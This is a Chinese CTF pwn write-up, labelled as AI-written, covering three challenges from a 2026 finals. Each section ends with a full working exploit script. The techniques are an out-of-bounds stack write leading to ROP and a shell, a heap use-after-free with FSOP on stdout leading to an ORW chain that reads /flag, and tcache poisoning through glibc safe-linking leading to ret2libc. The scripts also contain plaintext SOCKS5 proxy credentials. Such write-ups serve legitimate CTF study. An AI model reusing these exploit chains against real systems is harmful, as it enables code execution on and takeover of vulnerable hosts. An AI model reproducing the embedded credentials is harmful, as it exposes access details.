
pwn· 更新于 2026-05-26
ccsssc-2026-决赛
ccsssc-2026-决赛
Attention! AI 写的 wp
DungeonLover
题目外面套了一个 proxy,但真正被打的是后面的 pwn。exp 里本地加载的也是 ./pwn,远程才通过 SOCKS5 连到代理转发出来的服务。
保护和入口
主程序保护比较直接:no PIE、no canary、NX 开。没有栈 canary,且程序基址固定,所以只要有栈上写原语,就可以直接往返回地址处铺 ROP。
开局需要先走一段剧情输入:
sla(b'> ', b'5201314')
sla(b': ', b'03070203')
之后菜单 6 对应 Desperate Strike,会把 puts 地址以十六进制打印出来:
sla(b'> ', b'6')
ru('[ 崩塌边界上残留的刻痕 ] '.encode())
libc_base = int(rl()[:-1], 16) - libc.sym.puts
这里拿到 puts 泄露以后,直接减 libc.sym.puts 得到 libc_base,后续 system、/bin/sh、gadget 都从同一份 libc 里取。
漏洞点
关键点在 do_use_item 一类的使用道具逻辑。菜单 5 读入 Select a Fate Engraving 和 Soul Weight to Offer,下标检查只限制在 0..0x16 这种范围内,但实际写入时是按 base + idx * 4 往栈上写 4 字节。
exp 里把写接口封成:
def use(off, byte):
sla(b'> ', b'5')
sla(b'Select a Fate Engraving:', str(off // 4))
sla(b'Soul Weight to Offer:', str(byte))
再从偏移 0x38 开始分 4 字节写 payload:
def wr(payload):
for i in range(0, len(payload), 4):
use(i + 0x38, u32_ex(payload[i : i + 4]))
也就是说,0x38 正好打到保存返回地址附近,之后每次 idx * 4 写一个 dword,就能拼完整 ROP 链。
利用链
泄露 libc 后,链子非常短:
wr(flat([CG.ret(), CG.pop_rdi_ret(), CG.bin_sh(), libc.sym.system]))
sla(b'> ', b'0')
ret 用来对齐栈,pop rdi; ret 把 "/bin/sh" 放进 rdi,最后跳 system。菜单 0 退出当前流程触发函数返回,执行栈上的 ROP。
完整 exp
#!/usr/bin/env python3
from pwncli import *
context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
def remote_via_socks5(host, port):
s = socks.socksocket()
s.set_proxy(socks.SOCKS5, "5.dart.ccsssc.com", 27070, username="y851gxp1", password="qblmydcu")
s.connect((host, port))
return remote.fromsocket(s)
gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = '192.0.100.2 9999'
ip, port = re.split(r'[\s:]+', addr)
# gift.io = remote(ip, port)
gift.io = remote_via_socks5('192.0.100.2', 9999)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
cmd = '''
b *0x401920
c
'''
launch_gdb(cmd)
if local_flag != "remote":
gift.io = remote('127.0.0.1', 9999)
def use(off, byte):
sla(b'> ', b'5')
sla(b'Select a Fate Engraving:', str(off // 4))
sla(b'Soul Weight to Offer:', str(byte))
def wr(payload):
for i in range(0, len(payload), 4):
use(i + 0x38, u32_ex(payload[i : i + 4]))
sla(b'> ', b'5201314')
sla(b': ', b'03070203')
sla(b'> ', b'6')
ru('[ 崩塌边界上残留的刻痕 ] '.encode())
libc_base = int(rl()[:-1], 16) - libc.sym.puts
set_current_libc_base_and_log(libc_base)
CG.set_find_area(0, 1)
wr(flat([CG.ret(), CG.pop_rdi_ret(), CG.bin_sh(), libc.sym.system]))
sla(b'> ', b'0')
ia()
StudentManagement
学生管理系统是典型的结构体加链表题。外层有注册、登录、删除;登录后能看 bio、改 bio、退出登录。核心利用点不是单个越界写,而是删除用户时释放 student 和 bio,后续通过重新分配 bio 控制堆布局,最终把可控写转到 libc 上的 _IO_2_1_stdout_,再用 FSOP 组织一次 ORW。
结构和功能
从交互和 exp 可以看出,学生节点大致包含这些字段:
idnamepasswordbio指针bio_size- 链表指针
注册 reg 会创建学生节点并挂进链表:
def reg(id, usr=b'inkey', pwd=b'inkey'):
sla(b'\n1.Reg 2.Login 3.Del 0.Exit\n> ', b'1')
if isinstance(id, int):
id = str(id)
sa(b'ID: ', id)
sa(b'Name: ', usr)
sa(b'Pass: ', pwd)
登录后可以 View 或 EditBio。edit 会重新设置 bio 大小并写入内容:
def edit(id, size, data, pass1=1):
login(id)
sla(b'\n1.View 2.EditBio 0.Logout\n> ', b'2')
sla(b'\nNew bio size: ', str(size))
sa(b'Content: ', data)
if pass1:
logout()
删除 dele 会把对应学生删掉,释放 student 结构和 bio。漏洞利用依赖这些释放后的堆块被后续 bio 申请复用,从而把结构体字段和 bio 内容布到同一片可控区域附近。
堆布局和 libc 泄露
第一阶段先批量注册学生,制造稳定的堆布局:
stg1 = 10
for i in range(stg1 + 7):
reg(i)
for i in range(7):
edit(i, 0xD0, b'a')
reg(114)
接着删除前 10 个学生,让对应 student/bio 进入 tcache 或 unsorted 相关布局,再对后面的学生批量申请 0xD0、0x198、0x400 等不同尺寸的 bio,构造可控重叠和可泄露块:
for i in range(stg1):
dele(i)
for i in range(7):
edit(i + stg1, 0xD0, b'a')
edit(114, 0xD0, b'a')
for i in range(7):
edit(i + stg1, 0x198, b'a')
edit(114, 0x400, b'a')
后面注册 0x100..0x106,再注册 115,通过 view(115) 读出 libc 指针:
for i in range(7):
reg(0x100 + i)
edit(0x100, 0x60, b'a')
reg(115)
libc_base = u64_ex(view(115)) - 0x203BD0
这里泄露值落在 libc 内部,减固定偏移得到 libc_base。
改 bio 指针到 stdout
拿到 libc 后,利用堆布局把某个学生的 bio 指针改到 _IO_2_1_stdout_:
edit(0x101, 0x88, b'\x00' * 0x70 + p64(libc.sym._IO_2_1_stdout_) + p64(0x108))
edit(0x101, 0x198, b'a')
reg(116)
这样之后编辑 116 的 bio,实际就是往 stdout 的 _IO_FILE 结构写。题目没有直接给栈写,但 stdout FSOP 可以把一次普通输入/输出路径变成受控读写,再把 ORW ROP 链布到合适位置。
最后打 house of some2
完整 exp
#!/usr/bin/env python3
from pwncli import *
context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
def remote_via_socks5(host, port):
s = socks.socksocket()
s.set_proxy(socks.SOCKS5, "10.dart.ccsssc.com", 27062, username="x6z9e68m", password="zmyv4igk")
s.connect((host, port))
return remote.fromsocket(s)
gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = '192.0.100.2 9999'
ip, port = re.split(r'[\s:]+', addr)
# gift.io = remote(ip, port)
gift.io = remote_via_socks5('192.0.100.2', 9999)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
def reg(id, usr=b'inkey', pwd=b'inkey'):
sla(b'\n1.Reg 2.Login 3.Del 0.Exit\n> ', b'1')
if isinstance(id, int):
id = str(id)
sa(b'ID: ', id)
sa(b'Name: ', usr)
sa(b'Pass: ', pwd)
def login(id, pwd=b'inkey'):
sla(b'\n1.Reg 2.Login 3.Del 0.Exit\n> ', b'2')
if isinstance(id, int):
id = str(id)
sa(b'ID: ', id)
sa(b'Pass: ', pwd)
def view(id):
login(id)
sla(b'\n1.View 2.EditBio 0.Logout\n> ', b'1')
ru(b'Bio: ')
ret = ru(b'\n', drop=1)
logout()
return ret
def edit(id, size, data, pass1=1):
login(id)
sla(b'\n1.View 2.EditBio 0.Logout\n> ', b'2')
sla(b'\nNew bio size: ', str(size))
sa(b'Content: ', data)
if pass1:
logout()
def logout():
sla(b'\n1.View 2.EditBio 0.Logout\n> ', b'0')
def dele(id):
sla(b'\n1.Reg 2.Login 3.Del 0.Exit\n> ', b'3')
if isinstance(id, int):
id = str(id)
sa(b'ID', id)
cmd = '''
brva 0x13B9
brva 0x1635
brva 0x1763
brva 0x19D7
brva 0x16E1
brva 0x1713
ida
c
'''
stg1 = 10
for i in range(stg1 + 7):
reg(i)
for i in range(7):
edit(i, 0xD0, b'a')
reg(114)
for i in range(stg1):
dele(i)
for i in range(7):
edit(i + stg1, 0xD0, b'a')
edit(114, 0xD0, b'a')
for i in range(7):
edit(i + stg1, 0x198, b'a')
edit(114, 0x400, b'a')
for i in range(7):
reg(0x100 + i)
edit(0x100, 0x60, b'a')
reg(115)
libc_base = u64_ex(view(115)) - 0x203BD0
set_current_libc_base_and_log(libc_base)
edit(0x101, 0x88, b'\x00' * 0x70 + p64(libc.sym._IO_2_1_stdout_) + p64(0x108))
edit(0x101, 0x198, b'a')
reg(116)
_IO_wfile_jumps_maybe_mmap = libc.sym._IO_wfile_jumps + 0x150
_IO_str_jumps = libc.sym._IO_file_jumps + 0x540
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40
fake_IO_FILE = libc.sym._IO_2_1_stdout_
payload = flat(
{
0x0: 0x8000, # disable lock
0x38: libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8, # _IO_buf_end
0x70: 0, # _fileno
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0x100, # +0xe0可写即可
0xC0: p32(0xFFFFFFFF), # _mode < 0
0xD8: _IO_wfile_jumps_maybe_mmap - 0x18,
},
filler=b"\x00",
)
launch_gdb(cmd)
edit(116, len(payload) + 1, payload, pass1=0)
# 拷贝栈上数据到可控地址,这里拷贝到_IO_2_1_stdout_的上方,方便下次写入顺便完成fp第三次控制
s(
flat(
{
0x8: libc.symbols["_IO_2_1_stdout_"], # 需要可写地址
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1C8 + 0xC8, # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8, # _IO_buf_end
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0xE0,
0xC0: p32(0xFFFFFFFF),
0xD8: _IO_default_xsputn - 0x90, # vtable
0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1C8, # _IO_write_ptr
0x30: libc.symbols["_IO_2_1_stdout_"], # _IO_write_end
0xE0: {0xE0: _IO_wfile_jumps_maybe_mmap},
},
filler=b"\x00",
)
)
CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
r13 = CG.find_gadget("415DC3", find_type="opcode")
mov_rdx_r13_pop4 = libc_base + 0xB00F7 # mov rdx, r13; pop rbx; pop rbp; pop r12; pop r13; ret
rop_payload = flat([rdi, u64_ex(b'/flag'), rdi, libc.sym._IO_list_all + 0x8, rsi, 0, libc.sym.open])
rop_payload += flat([rdi, 3, rsi, libc.sym.environ, r13, 0x100, mov_rdx_r13_pop4, 0, 0, 0, 0, libc.sym.read])
rop_payload += flat([rdi, 1, rsi, libc.sym.environ, r13, 0x100, libc.sym.write])
# 最后这里就可以劫持执行流到0xdeadbeaf了 ret_addr = _IO_list_all
s(
flat(
{
0: rop_payload,
(0x1C8 - 0xC8): {
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1C8 + 0xC8, # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8, # _IO_buf_end
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0xE0,
0xC0: p32(0xFFFFFFFF),
0xD8: _IO_default_xsgetn - 0x90, # vtable
0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1C8, # _IO_read_ptr
0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1C8 - 0xC8), # _IO_read_end
0xE0: {0xE0: _IO_wfile_jumps_maybe_mmap},
},
},
filler=b"\x00",
)
)
ia()
fix
通防
traditional
这题表面是普通菜单堆题,但所有菜单输入都要先过自定义 base64 编码。exp 里没有直接发送 1/2/3/4/5/7,而是统一通过 b64en 转换后再发。
漏洞在 free,触发特殊 free 会 uaf(特殊 free 会把删除后的槽位后面的 chunk 记录都往前搬,但不清除最后一个)
自定义 base64
编码逻辑是标准 base64 之后换表。标准表:
old_table = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
题目表:
new_table = b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='
所以所有菜单、index、size、content 都要这样编码:
def b64en(s):
if isinstance(s, str):
s = s.encode()
s1 = b64encode(s)
new_table = b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='
old_table = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
s2 = b''
for i in range(len(s1)):
o = old_table.find(s1[i : i + 1])
s2 += new_table[o : o + 1]
return s2
菜单和隐藏 copy
程序用 chunk_manage_array 管理 chunk 指针和 size,常规菜单有 add/edit/show/delete/exit。隐藏菜单 7.copy 能从一个 chunk 拷贝到另一个 chunk:
def ccopy(idx1, idx2, size):
sla(b'choice: ', b64en(b'7'))
sl(b64en(str(idx1)))
sl(b64en(str(idx2)))
sl(b64en(str(size)))
最终 exp 没有大量依赖 copy,但这个功能能辅助把已有内容搬到目标 chunk,是题面里明显给利用准备的隐藏能力。
heap 泄露和 safe-linking
先申请一个小块和一批 0x280,再用异常 index 删除:
add(0, 0x20)
for i in range(1, 0x10):
add(i, 0x280)
dele(0x0 | 0x90)
dele(0xE)
show(0xF)
heap_base = (u64_ex(r(5)) - 0x2) << 12
这里 show(0xF) 读到的是 safe-linking 保护后的堆指针片段,按 glibc safe-linking 的形态还原出 heap_base。后面 tcache poisoning 写 fd 时都用 protect_ptr 重新编码目标地址。
tcache poisoning 到 tcache_perthread_struct
泄露 heap 后,把某个 0x280 tcache bin 的 fd 改到 heap_base + 0x10,也就是 tcache_perthread_struct 附近:
add(0xE, 0x280)
dele(0x1)
dele(0xE)
edit(0xF, p64(protect_ptr(heap_base + 0x2720, heap_base + 0x10)))
add(0xE, 0x280)
add(0x1, 0x280)
随后编辑拿到的伪造 chunk,直接构造 tcache_perthread_struct 的 counts 和 entries,让指定 size 的申请返回任意地址:
edit(0x1, p16(0x6) * 39 + p16(0x0) + p16(0x6) * 36 + p64(0) * 0x28 + p64(heap_base + 0x10) + p64(heap_base + 0xD80))
libc 和 stack 泄露
先让 0x2A0 申请落到可泄露的 libc 链表指针上:
dele(0x4)
add(0x2, 0x2A0)
show(0x2)
libc_base = u64_ex(r(6)) - 0x233DA0
再把 tcache_perthread_struct 里的 entry 改到 libc_base + 0x2346E0,也就是能拿到 environ 一类栈指针的位置:
add(0x3, 0x290)
edit(0x3, p16(0x6) * 39 + p16(0x6) + p16(0x6) * 36 + p64(0) * 0x28 + p64(heap_base + 0x10) + p64(libc_base + 0x2346E0))
add(0x4, 0x2A0)
show(0x4)
stack = u64_ex(r(6)) - 0x130
拿到栈地址后,再次伪造 tcache entry 到 stack - 8。
覆盖返回地址
最后让 add(0x6, 0x2A0) 返回到栈上返回地址附近,写入普通 ret2libc:
edit(0x6, flat([0, ret, rdi, sh, libc.sym.system]))
exit_()
退出菜单时函数返回,执行 ret; pop rdi; "/bin/sh"; system,拿 shell。
完整 exp
#!/usr/bin/env python3
from pwncli import *
from base64 import *
from typing import Union
context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
def remote_via_socks5(host, port):
s = socks.socksocket()
s.set_proxy(socks.SOCKS5, "4.dart.ccsssc.com", 26965, username="0j8v62mj", password="5c3sptox")
s.connect((host, port))
return remote.fromsocket(s)
gift.elf = ELF(elf_path := './traditional')
if local_flag == "remote":
addr = '192.0.100.2 9999'
ip, port = re.split(r'[\s:]+', addr)
# gift.io = remote(ip, port)
gift.io = remote_via_socks5('192.0.100.2', 8888)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
def b64en(s):
if isinstance(s, str):
s = s.encode()
s1 = b64encode(s)
new_table = b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='
old_table = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
# s1 = s1.replace(old_table, new_table)
s2 = b''
for i in range(len(s1)):
o = old_table.find(s1[i : i + 1])
s2 += new_table[o : o + 1]
return s2
def add(idx, size):
sla(b'choice: ', b64en(b'1'))
sl(b64en(str(size)))
sl(b64en(str(idx)))
def edit(idx, data):
sla(b'choice: ', b64en(b'2'))
sl(b64en(str(idx)))
sl(b64en(data))
def show(idx):
sla(b'choice: ', b64en(b'3'))
sl(b64en(str(idx)))
def dele(idx):
sla(b'choice: ', b64en(b'4'))
sl(b64en(str(idx)))
def exit_():
sla(b'choice: ', b64en(b'5'))
def ccopy(idx1, idx2, size):
sla(b'choice: ', b64en(b'7'))
sl(b64en(str(idx1)))
sl(b64en(str(idx2)))
sl(b64en(str(size)))
def fake_tcache(size_info):
TCACHE_MAX_BINS = 72
counts = bytearray(TCACHE_MAX_BINS * 2)
entries = bytearray(TCACHE_MAX_BINS * 8)
for size, (count, address) in size_info.items():
assert count <= 7
count = 7 - count
print(f'{size} {count}')
bin_index = (size >> 4) - 2
if 0 <= bin_index < TCACHE_MAX_BINS:
counts[bin_index * 2] = count
addr_bytes = struct.pack('<Q', address)
entries[bin_index * 8 : bin_index * 8 + 8] = addr_bytes
tcache_struct = counts + entries
return tcache_struct
cmd = '''
brva 0x1F9D
brva 0x261F
brva 0x2A96
brva 0x2E5A
ida
set $h = &chunk_manage_array
brva 0x3ACE
set resolve-heap-via-heuristic force
c
'''
add(0, 0x20)
for i in range(1, 0x10):
add(i, 0x280)
dele(0x0 | 0x90)
dele(0xE)
show(0xF)
heap_base = (u64_ex(r(5)) - 0x2) << 12
log_heap_base_addr(heap_base)
add(0xE, 0x280)
dele(0x1)
dele(0xE)
edit(0xF, p64(protect_ptr(heap_base + 0x2720, heap_base + 0x10)))
add(0xE, 0x280)
add(0x1, 0x280)
dele(0x2)
dele(0x3)
edit(0x1, p16(0x6) * 39 + p16(0x0) + p16(0x6) * 36 + p64(0) * 0x28 + p64(heap_base + 0x10) + p64(heap_base + 0xD80)) # 0x290
dele(0x4)
add(0x2, 0x2A0)
show(0x2)
libc_base = u64_ex(r(6)) - 0x233DA0
set_current_libc_base_and_log(libc_base)
add(0x3, 0x290)
edit(0x3, p16(0x6) * 39 + p16(0x6) + p16(0x6) * 36 + p64(0) * 0x28 + p64(heap_base + 0x10) + p64(libc_base + 0x2346E0))
add(0x4, 0x2A0)
show(0x4)
stack = u64_ex(r(6)) - 0x130
leak_ex2(stack)
dele(0x5)
dele(0x6)
dele(0x7)
add(0x5, 0x290)
edit(0x5, p16(0x6) * 39 + p16(0x6) + p16(0x6) * 36 + p64(0) * 0x28 + p64(heap_base + 0x10) + p64(stack - 8))
add(0x6, 0x2A0)
CG.set_find_area(0, 1)
rdi = CG.pop_rdi_ret()
sh = CG.bin_sh()
ret = CG.ret()
edit(0x6, flat([0, ret, rdi, sh, libc.sym.system]))
launch_gdb(cmd)
exit_()
ia()


